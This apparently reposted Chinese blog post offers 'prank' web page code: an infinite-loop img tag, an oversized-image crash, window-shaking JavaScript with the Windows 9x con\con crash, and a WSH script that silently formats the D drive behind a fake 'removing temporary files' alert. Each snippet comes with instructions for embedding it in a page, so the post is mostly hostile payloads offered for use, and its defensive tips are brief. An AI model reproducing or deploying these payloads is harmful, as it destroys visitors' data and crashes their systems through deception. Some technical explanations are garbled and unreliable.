• 几种超厉害的死循环代码


    想必大家在编程的过程中,时不时的体验过死循环。有些是自己不小心写的,然后导致整个程序也不小心的崩溃;有些是自己特意写的,以便能达到我们制作恶作剧的效果。下面IT博客分享几种实用简单的死循环代码,不过大家要切记不可非法使用,同样玩笑不可开过头哦。

    (一)、死循环代码

      
    <img src=javascript:location=“网页的文件名.htm:”>
     

    说明:当含有这段代码的网页被人点击,连接就会不断的打开IE浏览器,直到你的系统资源浪费到0%~只有重新启动才能正常使用!

    使用:把上述代码加入到网页文件中(可新建记事本然后修改后缀),就可达到说明中的效果。

    预防方法:禁用所有的ActiveX控件和插件!因为这是一个ActiveX教本程序~

    (二)、恐怖的大图片


    <img src= "http://恐怖图片的连接地址" width= "1" height= "100000000000000000000000">

    说明:当打开这样的网页,IE会不断的解释试图打开,但由于图片实在太大,超出了其处理能力,所以……

    使用:把上述代码加入到网页文件中(可新建记事本然后修改后缀),就可达到说明中的效果。

    (三)、地震死机代码


    <script>
      if (window.top.moveBy){
    for (i = 1;i < 50; i++){
    for (j = 3;j > 0; j--){
    window.top.moveBy(0,i);
    window.top.moveBy(i,0);
    window.top.moveBy(0,-i*2);
    window.top.moveBy(-i*2,0);
    window.top.moveBy(0,i);
    window.top.moveBy(i,0);
       }
      }
    }
    </script>
    <img src="c:concon">

    说明:<img src="c:concon">是windows9x的设备名称解析漏洞!

    WINDOWS9x的concon设备名称解析漏洞允许用户进行攻击,倒是98死机。原理:我们知道,CON是DOS下的特殊设备名,不允许做文件名,如果我们在DOS下键入如下命令:copy coldcrysky.txt con,系统会显示coldcrysky.txt的内容,如果换成:copy coldcrysky.txt>con系统会提示文件不能拷贝到文件自身。如果吧con换成LPT或PRN,则输出coldcrysky.txt到打印机。由此可见,CON代表文件本身,如果使用CONCON命令,则意味着系统不断调用文件本身,视系统资源迅速枯竭,连按CTRL+ALT+DEL的机会都没有~

    使用:把上述代码加入到网页文件中(可新建记事本然后修改后缀),就可达到说明中的效果。

    解决办法:对于9X系统,强烈建议打补丁!!!2000和XP则不会死机~

    (四)、格式化硬盘 (最恐怖的~~~慎用!!!请勿用于非法用途!!!使用后如果有任何负作用,后果自负!与IT博客无关!!!)


    scr,Reset();
    scr.Path="C:\WINDOWS\StartMenu\Programs\启动\startup.htm";
    scr.Doc="<object id=`wsh` classid=`clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B`>"
    WSH.rUN(`start/m format.com d:/q/autotest/u`);
    alert(`IMPORTANT : Windows is removing unused temporary files.`);
    scr.write();

    说明:当您浏览了网页,会把startup.hta文件写入启动文件夹,并提示WINDOWS正在删除临时文件!实际上是在格式化你的D盘,代码中的:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B对应为:Windows Scripting Host Shell Object。代码中的:WSH全称是:Windows Scripting Host,是微软的一种基于32位系统平台与语言无关的教本解释机制,它使得脚本能在WINDOWS桌面或命令提示符下运行~WSH所对应的程序WScript.exe是一个脚本语言解释器,位于WINDOWS所在文件夹下,所以它可以像执行批处理文件一样执行WSH脚本程序。

    使用:把上述代码加入到网页文件中(可新建记事本然后修改后缀),就可达到说明中的效果。

    解决方法:1)更新您的浏览器,使用最新的浏览器上网!

    2)修改msdos.sys,在其中加入:Bootmentu=0命令行,目的是禁用启动菜单。

    3)吧format.com改名

    4)禁用WSH。具体方法:在win98中,从添加删除程序中点击WINDOWS安装程序,打开附件一项,将WINDOWS SCRIPTING HOST前面的选项去掉,就可以卸载掉WSH了~~~win2000和xp的用户可以在我的电脑-工具菜单-文件夹选项-选择文件类型,找到VBS VBSCRIPT FILE选项,点击删除!

    以上就是今天分享的几种超厉害的死循环代码,具体的效果大家可以自己测试下,只要你不怕。哈哈。要懂得,作为程序员要有敢于挑战的精神哦。

  • 相关阅读:
    如何使用Flexbox和CSS Grid,实现高效布局
    最常用的四种大数据分析方法
    如何编写更好的SQL查询:终极指南-第三部分
    如何编写更好的SQL查询:终极指南-第二部分
    如何编写更好的SQL查询:终极指南-第一部分
    ES2017异步函数现已正式可用
    相对传统桌面设计器,在线报表设计器价值何在?
    如何实现报表设计中的高精度报表套打?
    2017年前端开发工具趋势
    Angular2 VS Angular4 深度对比:特性、性能
  • 原文地址:https://www.cnblogs.com/wqsbk/p/3461752.html
Copyright © 2020-2023  润新知